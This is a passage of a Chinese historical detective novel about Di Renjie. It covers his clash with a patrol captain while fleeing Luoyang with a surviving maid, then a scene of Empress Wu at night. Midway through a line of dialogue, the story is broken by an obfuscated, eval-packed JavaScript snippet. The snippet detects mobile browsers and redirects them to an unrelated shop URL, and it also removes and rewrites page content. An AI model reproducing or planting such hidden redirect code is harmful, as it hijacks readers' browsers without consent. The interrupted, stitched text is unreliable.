韩忠义忙问:“跟到哪儿丢的?” 胡乐道:“城门口……” 韩忠义将他一把提过来,怒道:“你跟到城门口还能丢?!你……” 狄仁杰叫韩忠义莫急,看着胡乐道:“城门口并无藏身之处,到底是怎么一回事,慢慢说。” 胡乐又喘了口气,韩忠义催他快说,方道:“城门……城门大开的……” 韩忠义奇道:“夜间城门应是紧闭的才是,如何会大开?” 胡乐搔头道:“我也是这么以为啊,谁知一跟到了城门处,便不见了踪影。他们可能带着彭大人已经出城了。” 韩忠义问道:“是那两个歹徒吗?” 胡乐道:“原本是两个,我怕他们发觉,不敢紧跟,是隔着一个巷子慢慢儿追的。主要是黑灯瞎火的,那两个还穿的是夜行装,什么都瞧不见,先是跟丢了一回。后来偷偷地又跟上了,这回好像又多了那么几个人,还有一辆马车在他们中间,我也不能确定,只是听声音像是。彭大人似乎给装进了车里,他们就分好几路走了。我没法儿,只得跟着马车,可是一大堆死胡同挡住了视线,又给跟丢了。后来到了城门处,人和马车就都不见了。” 韩忠义、狄宁听得一头雾水,摸不着头脑。 狄仁杰忙问:“城门处可有马蹄车轮的印记?” 胡乐想了想,道:“这小的没注意欸,好像有很多。” 天有不测风云,外面忽然又下起了小雨。一阵凉风从大门口透了进来,四人都不觉打了个寒噤。淅淅沥沥,落雨声逐渐掩盖了空气中的静谧,一阵又一阵,敲打着屋檐、窗棂、树梢、竹叶,还有离开世界的人们冰凉的躯体。 韩忠义一声“大人”方出口,狄仁杰忽然道:“不好,雨一下,地上的痕迹就没了,我们便再难知晓他们到何去处。” 韩忠义道:“那怎么办?” 狄仁杰道:“事不宜迟,既然城门大开着,我们今天夜里就必须出城。若是能够寻回彭大人则更好。至于陛下差遣,亦是当务之急,刻不容缓。我狄仁杰若能出得一丝微薄之力,方可不负今上重望所托。至于彭府现场,明日自有官府料理,如今却顾不得这许多了。” 韩忠义道:“可是大人,我们今夜一旦出城,自必引起误会。恐人们以为彭大人一府是我们杀害的。” 狄仁杰叹了口气:“倘若今夜不出城,明日因彭府一案,城门必定封锁,到时再想出城,又待何时?歹徒带走了彭大人,我们不尽快去追,每多待一时,希望便愈加渺茫。我于临走之际,在桌案上已留有一封信笺。明日有人告状,徐主帅必定前来我府上。那时他看到信笺,转达与陛下,我们日后自有昭雪之时。” 韩忠义道:“告状?谁告我们状?” 狄仁杰道:“若是无人告状,自然最好。若真有人告状,那也只有今夜巡逻的吕队长了,而他正是徐主帅手下的人。好了,没时间多说了,我们走。” 这时,忽听得后园窗口处微微发出声响。 韩忠义听力敏捷,瞬间听到了,连忙转过头去,朝窗口大喝一声:“谁在窗下窃听,出来!”说着,闪电般飞身而去,朝窗口下方猛一伸手,一把将那人给揪了起来。 那人大吃一惊,发出“啊”的一声又稚嫩又清脆的叫声。 四人一看,竟是一个小女孩。 韩忠义忙松开手:“你是谁?” 只见那女孩浑身上下、从头到脚都沾满了血迹,几乎连容貌都看不清了。 她颤道:“你……你们……你们不是杀人的……” 狄仁杰道:“你是彭府里的丫鬟?” 那女孩微微点头。 狄仁杰和蔼地问道:“你叫什么名字?” 她忙跪下道:“我……我叫鹃儿。” 狄仁杰“哦”的一声,顿了顿,又问她何以如此。 她低着头,兀自发抖,显是方才经过一场大难,犹有余悸。 狄仁杰见了,知道她害怕,于是微笑道:“你不用怕,我们不是杀人的,我叫狄仁杰。” 她这才缓缓抬起头来,问道:“你……你叫狄仁杰?” 狄仁杰点头“嗯”了一声。 她又问道:“是那个宰相狄仁杰吗?” 狄仁杰与另外三人相顾一笑。 韩忠义笑道:“除了宰相狄仁杰,还有哪个狄仁杰?” 狄仁杰道:“小姑娘,想必我们方才的说话,你都听见了。” 她一听这话,吓得连忙磕头道:“我……我没……我没有听见……你们饶了我……” 狄仁杰忙道:“我这么说,是想让你放心,我们跟那些歹徒不是一伙的。” 那女孩这才松了口气。 狄仁杰要扶她起来,她就是不敢,于是问她:“你是怎么活下来的?” 那女孩道:“我……我不知道。我是府里干粗活的,他们都瞧不起我,我……我一开始跟大家一起躲在了大厅,几个姐姐说:‘你这下贱胚子也配跟我们站在一块儿?’就把我推出了大厅。她们把门一关,我就进不来了。我只好躲在了后园的树丛里,一群杀人的就没有看见我。后来听他们走了,我才慢慢出来 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她早已哭得眼睛都肿了,一面用手背拭泪,道:“我从小便没了爹娘,是叔叔养我。一年前,叔叔因为穷的实在是没钱了,所以就把我卖到了彭大人的府上,让我在这里自己过日子。我也知道叔叔一直都很艰难,在别人家里做长工,干的都是很累的体力活,我又帮不上忙,只有在家里做点针线活,一起勉强过日子。当然,我们还是生活得很开心的,因为叔叔对我很好。他……他虽然不会说话,但他时常对我微笑,我也用微笑报答他。”说到这里,她心里感到一阵温馨,又想起了她叔叔的微笑,自己也便不由自主地微笑了。 “后来,”她继续说,语气又转为悲凉,“那家人又不要我叔叔了,因为嫌他老,又不会说话,所以就赶走了他。我叔叔实在是没办法了,他确实年纪也大了,也找不到工作了,所以……就只好带我来到了京城,因为那时彭府正好要买丫鬟,所以我叔叔就有打算把我给卖了,既能保存了我,又能换几两银子。”她顿了顿,“但他又舍不得我。我就跟他说,我可以去的。他就把我卖给了彭府,我叔叔他……拿了几两银子就走了。” “一进府时,”她又继续说道,“彭大人就待我很好,给我好衣服穿,还给我好吃的吃。但后来……彭大人他……有很多姨娘太太,他们都以为……我是来跟她们争地位的。我说我没有,我……后来有一日,彭大人到我屋子里来,对我说……”言及此,便停下了。 胡乐道:“他对你说了啥呀?” 她脸红了,忸怩道:“彭大人对我说……要纳我做妾。我一听,便不知如何是好。他见我犹豫,又与我说了许多好处儿,我就低了头,没回答。彭大人见我没回答,便骂我,说我不识好歹,说……说我本来就下贱,好心抬举我,我还不答应,我……我哪里知道这么多,我……他就很生气地走了,然后......后来又把我毒打了一顿,贬去干粗活去了。那些姨娘太太们见彭大人讨厌我,都非常开心,还有一个叫小杜的姐姐,她经常带头欺负我……她们都好坏哦,无缘无故的……”说着又哭了。 胡乐听了,骂道:“呸!他妈的,姓彭的原来是这种好色的鸟人儿啊!老爷,咱不追了!让他死去吧!” 那鹃儿一面哭,一面道:“所以……我没有家人了……”说罢又大哭起来,声音非常凄惨,听得狄仁杰几人愈加难过。哭了一会儿便昏迷了过去,不省人事了。 四人一惊,忙将她扶了起来。 狄仁杰道:“可能是激动了,亦或是晕血。” 韩忠义道:“大人,怎么办?还赶路吗?” 狄仁杰叹了口气,道:“路还是要赶的,然这鹃儿姑娘也要救,我们不能坐视不理。倘若将她留在这里,明日官府一查,见死人丛中唯她一人活了下来,难免会去审问她。” 韩忠义道:“大人,难不成要我们带上她一起走啊?这……恐怕多有不便吧。” 狄仁杰道:“先将她安置在我府上,我再写一封信,到时自会有人照料。我们时间不多了,走。”遂命狄宁将她背了。 几人正待走出彭府时,忽然一队人马赶了来,却是吕队长和他的巡逻队。 6. 第六章 出城 吕队长从远处望见阶前有几个死人,先是一怔。 待来得近了,抬头望彭府大门内看去,见尸体铺得满地都是,更是大吃一惊。 此刻又见狄仁杰、韩忠义、胡乐、狄宁四人从宅里自在地走将出来,而狄宁还背着一个满身血渍的女孩子,登时便目瞪口呆了。 狄仁杰几人方至大门口,一见了吕队长和巡逻队,也呆了。 天空中正飘着细雨,月光藏在乌云背后,夜仍是漆黑。 这时,巡逻队员之间都纷纷议论了起来: “哟,这不是狄阁老吗?” “不是吧,狄阁老怎么会杀人呢?” “你瞎呀!没看见府里都死光光了,不是狄阁老杀的还会是谁?” “会不会是你呢?” “嘿!你别血口喷人啊!我刚才跟你在一块儿呢,怎么杀人?要杀也是你我一起杀的!” “所以说嘛,就是狄阁老杀的。” “不对,不对!狄阁老不会武功,怎么杀人?” “狄阁老不会武功,你就会了?” “我不会啊,你会!” “我也不会。” “没人问你呢。” “我爱答干你甚事?” “狄阁老不会武功就杀不得人了?” “谁说的,杀人跟武功有什么相干?” “有武功好杀些吧。” “那不是有韩将军吗?” “韩将军?不是韩护卫吗?” “既是将军也是护卫。” “怎么可能既是将军也是护卫呢?” “这干狄阁老甚事?” “韩将军不是狄阁老的护卫?” “是啊,那又怎地?” …… 吕队长听到了这些议论,并且眼见为实,不知所措,只好先于马上行了一礼,皱眉道:“这……阁老……” 狄仁杰亦皱眉,还了礼,明知此时百口莫辩,只说:“吕队长,这件事……容狄某日后……” 韩忠义性急,知道狄仁杰客客气气的又要费时,于是走到了狄仁杰前面,朗声说道:“吕队长,我们不必做所解释,只因问心无愧。今夜事态不宁,彭大人一府惨遭灭门,而彭大人本人又被歹徒劫去,现已不知去向,料已出了城,实乃万分火急。我们此刻亦要出城,去觅其踪迹。烦劳队长,明日将实情说知徐主帅,使大理寺彻查此案。其余的,日后自见分晓。大人,我们走。” 几人就要离开,方行几步,被吕队长忽地伸手拦道:“且慢!” 韩忠义脸现怒色,道:“你欲何如?” 吕队长撇嘴道:“阁老,韩将军的这一番辩解,实在是不合情理。三更半夜,城门尚未开启。试问,歹徒如何出城?而你们,又该如何出城?即便是出城追人,亦无须劳动大驾。哼哼,依下官看来,韩将军实乃强词夺理。” 韩忠义眯眼道:“你此言何意?” 吕队长睁大了眼,摊开双手,道:“我此言何意?你我心知肚明。”说着哈哈大笑,又道:“尔等杀完朝廷命官一府人员,便欲花言巧语一番,一走了之吗?那我吕某明日该当如何交差?”说着回过头来,一个眼神,巡逻队员便要将腰中佩剑拔出。 韩忠义一见,先拔出半截剑来。吕队长忙大叫:“反了,反了!”转向狄仁杰,道:“阁老,这怎么说!” 狄仁杰忙道:“忠义,不可造次。” 韩忠义望着吕队长,哼了一声,方收剑入鞘。 吕队长只微微冷笑,一言不发,亦不望向几人。 狄仁杰柔和地望着他道:“吕队长,今夜之事,三言两语难以道清。狄某现下,唯有说其大致,至于孰是孰非,再由你自行定夺。” 吕队长转过头来,笑道:“阁老请说。” 狄仁杰道:“半个多时辰以前,将及子时,敢问队长于街上巡逻之际,可是骤雨倾盆之时?” 吕队长半晌方“嗯”了一声,点头道:“不错,下官时与部属,皆于南街房檐下避雨,直至休止方出。阁老何以如此问?” 狄仁杰不答,又问:“队长避雨之时,可有耳闻斗杀之声?” 吕队长微一皱眉,诧异道:“自然唯闻风雨之声,又何来斗杀?” 狄仁杰追问:“既无斗杀,何来彭府惨案?” 吕队长登时一怔,不知如何对答。 狄仁杰见他不答,便道:“请看这些尸体:伤口处虽被雨水淋湿,却早已凝固。倘若狄某方才将他们杀害,又岂会如此?再者,雨声既止,队长于那斗杀之声,又岂会毫无耳闻?” 吕队长指着韩忠义,却看着狄仁杰道:“韩将军武功盖世,杀人于无形,顷刻之间对付这些护卫并非什么难事。” 韩忠义忙道:“正如吕队长所言,我既有此手段,难道还会留下把柄与你?至于狄公还有两位亲信管家则更不消说。我韩忠义既可单打独斗,又何需他们三位武功不如在下者作为帮手,出现在杀人现场,与你逮着?即使真是我们四人行的凶,那也应乘早逃离才是,又何竟徐步缓行?只因我等并非凶手,只是前来查案者而已,故而问心无愧。” 吕队长听了不语。 狄仁杰又道:“此次劫杀,我料定早有预谋。此乃一精心策划的行动,有意冲着彭大人而来。斗杀之时,适逢大雨,狄某府邸离此不过几条街,尚未察觉,更何况于南街避雨的巡逻队。至于其他细枝末节,狄某暂且无法再论。真相迟早会大白,终有水落石出之时。吕队长,我等就此告辞。”作了个揖,说声:“走。”四人跨步便行。 吕队长皱眉,犹豫了片刻,眼见他们就要行过自己巡逻队,猛然一回头大叫:“不行!不能走!快拦住他们!” 巡逻队立时横剑相阻。 韩忠义大怒,指着吕队长喝道:“姓吕的!你讲不讲理!” 吕队长捋了捋胡须,缓缓道:“哼哼哼,讲理?明儿你们到大理寺讲理去。或者到时候,亲口说与陛下知,看她老人家信是不信。今夜吕某巡逻,在我眼皮子底下竟出了这等事。如今我若因听信了尔等一面之词,便无故放你们逃走,那在下的罪过可就真是万死难赎喽。” 韩忠义冷笑道:“这么说,你是执意不许我们赶路了?” 吕队长一字一顿大叫:“没错!尔等今夜要么就跨过吕某的尸体,要么就别想再多行一步!” 胡乐道:“嘿,你这人算他妈的个老几啊?啊?咱老爷可是当朝宰……” 狄仁杰连忙一声“胡乐”断喝。 吕队长一面点头,一面“嗯”了好几声,笑道:“我知道,你想说,‘当朝宰相狄阁老’。哈哈,唉呀,人们若是得知,大名鼎鼎的狄阁老,竟然会为了卖国求荣,与自己部下一块儿犯案,杀了彭大人一家,不但毫无愧疚之心,悔改之意,还满口胡言乱语,仗势欺人,哼哼,不知会怎想?嗯?我想啊,每个人一口唾沫都要啐死你们!天子犯法尚且与庶民同罪,更何况尔等卖国贼!”说罢,巡逻队也跟着哈哈大笑。 狄仁杰听了,并不作答。另外三人却早已怒形于色。 韩忠义正要骂,胡乐先已指着马上吕队长大骂:“我去你妈的个‘驴’队长!” 狄仁杰忙断喝:“住口!休得无礼!” 吕队长哪儿还听得狄仁杰劝解,单是胡乐那一个“驴”字便气煞也。登时脸涨得通红,点头冷笑道:“好啊,宰相家的奴才都怪横的。吕某……” 这“吕某”方出口,便听得胡乐大笑道:“驴某,驴某!哈哈哈!” 韩忠义也哈哈大笑道:“姓‘驴’的!好姓儿!” 吕队长气得嘴都歪了,怒道:“吕……我再怎么说也是禁军的人,还轮不到你们几个王八崽子骂!” 韩忠义哼了一声,看着狄仁杰道:“大人,不管,我们只管走。他又敢拿我们怎么样?” 吕队长大叫:“我说不能走就是不能走!”说着也拔出剑来。 狄仁杰叹了口气,道:“吕队长,我们以理相待,你又何故动刀剑?” 吕队长冷笑道:“狄大人,你就别装啦!是真君子要么就别做,要么做了承认了也罢了,至少还是个‘真小人’。可像尔等伪君子,那是最恶心的了。明明就做了错事,事后却还不肯承认,还跟我谈个什么狗屁歪理!” 狄仁杰又叹了口气,道:“是不是歪理,队长自己想想,方才我等说的哪一句话不合理了?” 吕队长大笑道:“都合理!你们明日受审的时候自去讲你们的理去!我姓吕的只管保证京都的安全,又岂能放跑了逆犯!” 韩忠义怒喝:“你还有脸说!真是欺人太甚!歹徒都跑了半个多时辰了,你还做梦呢,倒给我们扣屎盆!我看你姓吕的才是歹徒的帮凶吧,你故意拖延时间呢!” 吕队长不答,只指着狄宁背上的鹃儿,问是谁。 狄仁杰道:“她是彭府里幸存的丫鬟,我准备将其安置府上。” 吕队长又问:“彭府里,还有几个活口啊?” 狄仁杰道:“只此一人。” 吕队长半晌道:“好,你们去吧。” 狄仁杰几人一听,互看了看,还不肯相信。 韩忠义道:“你肯放我们去?” 吕队长点头道:“嗯,你们可以走了。”又道:“可是,这个幸存的丫鬟,得留下。” 狄仁杰道:“留下了她,你要怎生处置?” 吕队长缓缓道:“唉呀,阁老乃神探,竟然连如此明了的道理都想不明白。彭府中人既已悉数被害,那么她一个小小的丫鬟,又是如何活下来的?下官以为,她要么是歹徒的内应,要么就不是彭府中人。反正不论是什么身份,终是不利于阁老,亦有害于朝廷。因此,有了她,我也好交差啊。到时,我只须将一切责任推到她身上,既保住了我,更是保住了你们几位出现在杀人现场的嫌疑犯哪。阁老以为何如?” 韩忠义哼了一声,道:“你为了掩饰自己的疏忽大意,便欲栽赃陷害一个小小婢女吗?” 吕队长一声冷笑,望着狄仁杰道:“阁老,你老自个儿好好想想,下官说的,是否合理。” 狄仁杰道:“吕队长所言不差。彭府灭门,偏独存她一人,是有可疑之处。然在狄某看来……她并非坏人。” 这话一出,就连韩忠义三人亦皆以为此理不足为凭,更何况吕队长他们。巡逻队遂跟着起哄。 吕队长笑问:“敢问阁老,怎知她,‘并非坏人?’” 狄仁杰道:“她不像。” 巡逻队员登时皆笑得更厉害了,心想断案如神的狄仁杰也不过如此。 吕队长大笑不止,道:“阁老真会说笑!哪一个坏人的脸上写着‘我是坏人’?哈哈哈!” 狄仁杰仍是平静地说道:“相由心生。一个人究竟是好是坏,虽不能仅凭外表而断,然其言谈之间,是否出自真心,那是显而易见的。这小丫鬟,我能看出她的真心。因此,一切的怀疑也不过是顷刻间的。我相信她是无辜的。” 吕队长与巡逻队仍是哄然大笑。 胡乐叫道:“笑什么笑!我也是这么觉得!” 韩忠义道:“只有虚伪之徒才成日疑忌他人,正是以小人之心度君子之腹!” 狄宁也点头“嗯”了一声。 吕队长立时正色道:“你们可要想清楚了,若是不舍得一个与你们毫不相干的小丫鬟,你们便要替她担当杀人逆犯的罪名!” 狄仁杰道:“我们若将她交与你,你便要给她扣罪名,对吗?” 吕队长道:“没错!只有给她扣了罪名,你们几个才能洗脱罪名!” 韩忠义冷笑道:“我看主要还是为了给你自己洗脱罪名吧?” 吕队长大怒道:“我好言相劝,你们倒贼喊捉贼!我至多也不过是疏忽大意而已,不像你们,是主谋!你们罪要大得多!我最后给你们一次机会,你们到底留不留下她?” 狄仁杰道:“本来将她留下也无妨,只是你要无故冤枉好人,那就恕狄某不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051952|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从命!” 吕队长狞笑道:“这么说,你们是敬酒不吃吃罚酒咯?不留下她,你们几个都别想走。” 韩忠义冷笑道:“料你一个小小巡逻队队长,又能有几分能耐。大人,我们这就走。” 吕队长大喝:“走!刀剑无眼!”说着,一剑直刺向韩忠义面门。 韩忠义一惊,忙避开,怒道:“你还真敢动手!” 吕队长此时自知理亏,倒不由得胆怯了起来,心中却顿时起了一个念头:“我这一剑刺出,已将他们得罪,现在后悔也来不及了。他们要是在圣上面前告我一状,自然没我好果子吃。不如……趁此无人之际,将他们几个杀人灭口,连带丫鬟也一齐杀了。只要除掉了他们,今后便死无对证。我巡逻队十几名又都站在我这一边儿,到时只说狄仁杰他们几个先是杀害了彭大人一家,又与之同归于尽。而我……不过是首先到达现场,于事件之经过毫不知情。这么一来,就能撇清一切玩忽职守的罪名,这……实乃万全之策。” 遂立现笑容,与几人赔礼致歉道:“阁老、将军,适才多有得罪,还望见谅。吕某也是为了今夜之案而烦忧,不得已出口伤人,并非出自本心。我们都是为了朝廷办事,有冲突亦在所难免。也罢,我看几位确非凶手,且待我与部下商议一番,你们便可以走了,如何?” 狄仁杰道:“队长自便,我们等着就是。” 吕队长点头谢了,遂低声与巡逻队说知心中真意。 狄仁杰四人眼神相交不语。 吕队长言毕,转过来笑道:“好,几位请,我便不送了。” 狄仁杰作揖道:“多谢队长了,狄某亦有得罪之处,来日自当前来府上赔礼致谢,就此告辞。”吕队长点头微笑。 这时风雨愈烈,狄仁杰几人方行出几步,韩忠义便顿感一阵隐隐的杀气传来。 雨水正在落下,寒风正在猛刮。 月色泠泠,高挂夜空。 石板路上泛起一圈圈涟漪,一圈圈,一圈圈…… 积水如镜,倒映着月光。 月光,那么明亮,在水中朦胧地扩散。 有声响。 风声,雨声,脚步声,逐渐连成一片。 突然,从背后,传来了另一种声音。 韩忠义熟悉,他知道那是什么声音。因为他曾经在江湖里听多了,都是从背后传来的声音。没想到这时候,“江湖”以外的人,竟用了同一种手段,发出了同样的声音。同样是从自己的背后,发出了突袭暗算的声音! “小心暗箭!” 韩忠义一面大叫,猛一回身,“嗖嗖嗖”,十来个短箭透穿飞雨,疾射而来,此刻已不下一寸即至。说时迟那时快,狄仁杰三人猝不及防,忙一回头,只见韩忠义双臂一挥,“哗”的一声,雨水纷飞中,已将暗箭尽数击落。 吕队长一挥手,巡逻队便大喝一声,驰马握剑向狄仁杰等人杀将来。 韩忠义宝剑出鞘,青光一闪,早向巡逻队十来匹马横向挥将去,只见剑气抛出,空中落下的雨滴随着无形剑气逆转,朝巡逻队方向飞射,登时诸人大叫,被一阵剑雨击中,向后一齐摔下马来,倒在水滩之中,“哎哟”地乱叫。 韩忠义叫道:“别管我!狄宁,保护大人他们撤离!” 狄宁略会一点武功,虽然远远不及韩忠义,但跟狄仁杰、胡乐二人比起来,也可以算是“绝世高手”了。 狄宁点头,将背上鹃儿交与胡乐背。 胡乐道:“这怎么好意思。” 狄宁道:“你会武功?” 胡乐道:“不会。” 狄宁道:“所以你背。” 胡乐只好背了。 狄宁遂也拔出剑来,跟一个又爬起来冲来的巡逻队员打上了。 吕队长见巡逻队员大部分却都躺在地上,不由得愤怒地大叫:“你们都给我爬起来呀!给我杀呀!” 巡逻队员也都拼了,忍着疼痛爬上马来,又朝狄仁杰几人杀将去。只因适才已经出手了,得罪了宰相,都要死无葬身之地了,横竖都是一死,还不如拼了! 韩忠义冲向前去,几柄利刃横劈将来,被他竖剑一架,跃起身,飞脚连踹,将几人踢下了马。背后又是两剑直砍向自己,遂将膀臂一转,锋刃相交,迅即格开,一个扫堂腿,将两匹马绊倒,马上人摔了下来。 吕队长大喝:“给我杀!” 巡逻队明知韩忠义武功高强,狄仁杰却是手无缚鸡之力,遂分两路截杀。 韩忠义猛地一挥宝剑,剑气甩出,又是几人摔下马来。 狄仁杰忙叫:“忠义!休要恋战!”又叫:“胡乐、狄宁!带上鹃儿,快快上马!” 韩忠义“嗯”一点头,眼见狄仁杰他们,三匹马,翻身而上,又将鹃儿横放马背。自己在后又为他们掩护了一阵,算已去得远了,方闪电般飞起右脚,把吕队长直踹下马来,自己旋即飞身上马,手握缰绳,跨镫疾驰,朝城门方向飞奔而去。 吕队长躺在雨水中,被部下赶忙搀了起来,见狄仁杰几人登时没了影儿,气得七窍生烟,打了部下一耳光,大骂:“一群废物!他妈的,这都给老子跑了!快给我追!我就不信了,半夜里城门还能大开着不成!” 却说狄仁杰、胡乐、狄宁三人先到了城门处,果见城门大开着。 胡乐指着叫道:“老爷,你看,城门大开着!” 狄仁杰叹了口气,道:“岗哨估计已经被杀害了。” 狄宁点头。 狄仁杰又道:“倘若歹徒今夜不是冲着彭大人而来,而是要谋逆造反,那恐怕……”顿了一顿,又叹道:“待我们出了洛阳,误会可就更大了。” 这时,一骑从雨中赶来,正是韩忠义。 待他驰得近了,狄仁杰道:“陛下所托,与彭大人被劫,案件之间,似有关联,又像巧合。种种疑团,这一路上都要弄清楚。我们走!” 几人头也不回,快马加鞭,出了洛阳,踏着遍地泥泞,消失在了路的尽头…… 7. 第七章 议政 时值初秋,酷暑虽然才过去没多久,然而连绵的雨水却早已将余热涤除殆尽,霎时间,空气中已经充满了凉意,天地间多了一抹肃杀和萧索,让人感到有些抑郁。 这些日子,天下倒也还算是太平,除了西部边陲前不久刚刚跟西突厥开战了以外,国中百姓依旧安居乐业,大周国力依旧繁荣昌盛,神都洛阳也依旧不减昔日的繁华,似乎都并没有受到边关那儿的战争太大的影响。 除了穷人对于朝廷加增了赋税的这件事略有一些不满之外,老百姓大多还是安安稳稳地过着自己的小日子,也不敢过多地去妄议时政。 毕竟酷吏横行的时代也才过去没多久,老百姓实在是被整怕了,所以都只想好好地过日子,谁还敢胡说八道?难道就不怕惹祸上身,落得个身死族灭的下场?就不怕祸从口出,被朝廷诛灭九族?就不怕...... 大家都怕了,于是所有人都沉默了。 到头来,也就只有雨声还在不停地响。 夜幕降临得也是越来越早,天黑得仿佛墨染的一般。 洛阳太初宫那一大片巍峨壮阔的宫殿也被笼罩在雨幕和夜色当中,只有武皇的寝殿里还亮着昏黄的烛光。 雨水轻轻地敲打着殿宇金碧辉煌的瓦檐和窗棂,衬托得夜里更加地万籁俱寂,除了萦绕在耳际的雨声以外,别无声息。 武皇的寝殿里却时不时地传来断断续续的声响,那是男欢女爱的声音。 几个硕大的红蜡烛点着轻轻摇曳的火光,柔和地照耀着寝殿里的四面八方,富丽堂皇的陈设在烛光暗淡的照亮下层次分明。 为了让寝殿里暖和,宫女们早已烧了炭火,室内温暖如春,时不时就会有一丝温热的气息,从炭火那里,跟着紧闭的窗牖偶然漏进来的一丝凉风,冷热一同传来,形成一种透过对比而来的令人感到战栗的奇妙的幸福感。 因为窗外的风雨和寒冷,室内的人不必去亲身体会,却可以处在一个旁观者的角度去感受那种凄清之美。 就像此时此刻,半透明的薄纱后面,欢愉中的人可以暂时忘却人间的忧伤,纵情在刹那间,忘掉一切。 然而在狂欢过后,所迎来的却必然是更大的空虚和落寞。 武皇穿着一身宽松又舒适的睡衣,倚在床头用金丝绣成的祥龙靠枕上,神情淡然地用她那苍老枯瘦的纤手,温柔地抚摸着躺在自己怀里已经睡着了的男人。 他就是近来武皇身边最得宠的面首,张氏兄弟里人称“六郎”的张昌宗。 武皇偶尔垂下眼来看着他,嘴角边便会不由自主地挂起一抹微笑。 张昌宗年轻又俊俏的面容显得有些疲惫和憔悴,想是跟自己这个老太婆在一起待久了,不免有些疲劳和厌烦了吧。 虽然在表面上,他仍是殷勤地奉承和伺候自己,嘴里总是说着“陛下!你又年轻啦!你简直是美若天仙哪!”之类的话。 这同样的几句话他都已经说了成千上万遍了,而且还将不停地说下去。 武皇听了自然是很受用,虽然她也明知,这些话并非他的真心话,绝不是他的肺腑之言,而仅仅是他一贯的例行公事罢了。 但她却依然感到受用,因为好听的话和爱听的话,哪怕那不是真心话,却也依然是令人感到舒服的。 反倒是天天说真话的人,虽然很诚实,但也不免让人难受,因为这世上真实的一面,本就是痛苦的。 所以张昌宗每天重复的这几句奉承的话,武皇纵使听了无数遍却也依然不觉得烦。 然而张昌宗自己却已经快要烦死了。可即便如此,他也还是要说,而且必须得这么一直说下去,不停地说,并且还要把谎言说到连他自己都信以为真为止,这样自己的谎话才能显得真实,武皇才会相信自己的真心实意,也只有这样,才能够保住这来之不易的荣华富贵。 武皇又岂会不知他心里的想法,但她却并不是很在乎,因为他们彼此都不过是各取所需罢了。 就像五郎张易之从来也不会去吃他弟弟的醋,因为只要能跟他弟弟一起享受荣华富贵就行了。 是啊,武皇想,谁又会傻到去在乎自己这样的一个老太婆本身呢?还不是因为自己能给他们带来权利,所以自己这个衰老的身躯还有着利用的价值。再看看身旁熟睡的张昌宗,这样的一个年轻人,自己这个老太婆竟然能在如此高龄轻而易举地得到,而且他还得对自己感激涕零,因为自己才是高高在上施予的那个人。 武皇每当思及于此,都会自然而然地有着一种身为帝王至高无上的自豪感,却也总是莫名其妙地伴随着一丝茫然,因为她现在已经真正拥有了一切,却反而不知道该怎么办了。 她最近突然感到有些累了。 自己这一辈子从头到尾都在跟各种各样的人斗,绞尽脑汁,费尽心机,曾经的那些尔虞我诈,让她感到乐此不疲,因为那时候自己还一无所有,所以这世上还有太多的东西要去争夺,还有太多的仇人要去斗。 可现在呢?那些仇人哪,他们差不多全部都死光了,要么就被自己流放了,要么早就已经向自己的权威妥协了,大多数都已经向自己俯首称臣了。 而自己的身份和地位呢?从太宗的才人,到高宗的昭仪,然后是皇后,天后,皇太后,最后,当上了皇帝。 曾经,在还没有得着的时候,她的人生至少还有目标可以去追求,可如今真正得到了一切之后,她反而找不到自己存在的意义了。 有时候,她想证明自己真的拥有了一切,于是伸出了她那世上最有权力的手,使劲地向前一抓,却只抓住了一把虚空,除此以外,自己仍然还像最初那样,一无所有,一切都不属于自己。 她不愿意承认,自己穷极一生所追求的竟然皆是虚妄,一切的一切,都只是一场大梦,一场空。 从她把一切都想通了的那一刻起,她就不再想去学历代帝王修建陵墓,妄想把今生的富贵带到来世去。 因为这一切,本就不是跟着生命而来的,又怎么会跟着死亡而去呢? 从那一刻起,她就已经想好了,在自己死以后,就立一块简简单单的无字碑就够了,让自己这一生的一切功过是非,尽都留与后人评说吧。 “无上甚深微妙法,百千万劫难遭遇。我今见闻得受持,愿解如来真实义。” 那是多少年前的事了? 她记得窗外依然淅淅沥沥地下着雨,恍惚间,似乎又响起了感业寺的暮鼓晨钟。 青灯古佛旁,那个双手合十的尼姑,在孤独中双眼噙着泪水,好像此时此刻的武皇一样。 武皇为熟睡的张昌宗盖上被子,她自己披了一件金黄丝绸宽袖外衣,下床走到了朱红色镶金的格子窗口,有些疲倦又若有所思地望向窗外。 那是一片宽敞空阔的青石板铺就的地,除了几盏外形华丽微微照亮的灯,都是空荡荡的一块块石砖,上面湿淋淋的雨水返照着微明的灯光。四周宏伟的太初宫在雨幕和夜色的笼罩下,显得黯淡又凄凉。 武皇走到了一旁靠墙的梳妆台前,在楠木椅子上缓缓地坐了下来,看着铜镜里面的自己,那苍老得可怕的面容和满头的白发,忍不住悲哀地苦笑了起来。 她轻声叹道:“六郎又哄我。” 这时,一个宫女来到寝殿的门口,轻声唤道:“陛下。” 武皇回过头来,示意她不要出声,恐怕吵醒了六郎,让她走过来说,而自己整个人却依然沉浸在暮年的慨叹中。 宫女凑近前来说,上官婉儿来了。 上官婉儿是武皇非常信任又喜爱的女官,早已成为了武皇的左膀右臂。她祖父上官仪因为替高宗起草诏书,要把当年的武后废掉,武后于是就把她祖父连同她父亲一块儿杀了。上官婉儿就跟她母亲一起被发配掖庭为奴。她长到了十四岁的时候,因才貌双全,被武后赦免,还获得了掌管宫中诏命之权。而且武皇还让她掌握权柄参政议政,因为她确实是很聪慧的一个人。 “婉儿来啦,她在哪?” 宫女回答:“在偏殿里候着陛下。” “她有什么事没有?”武皇明知故问。 “她说是陛下召她来的。” “嗯,”武皇微笑道,“是朕叫她来的。” 武皇于是款步往偏殿走去,宫女在一旁搀扶着。 偏殿里四处垂着棕褐色的薄纱软帘,赤金色的烛台上点着微弱的火光,靠墙的炕上陈设着绣花绘卉的坐垫。因为提前烧了炭火,所以殿里感觉相当暖和。 上官婉儿今年三十来岁,容貌依然精致俏丽。她的眼神既睿智也风流,额头上还画了一朵鲜红的梅花,用来掩盖武皇曾经给她留下来的伤疤。 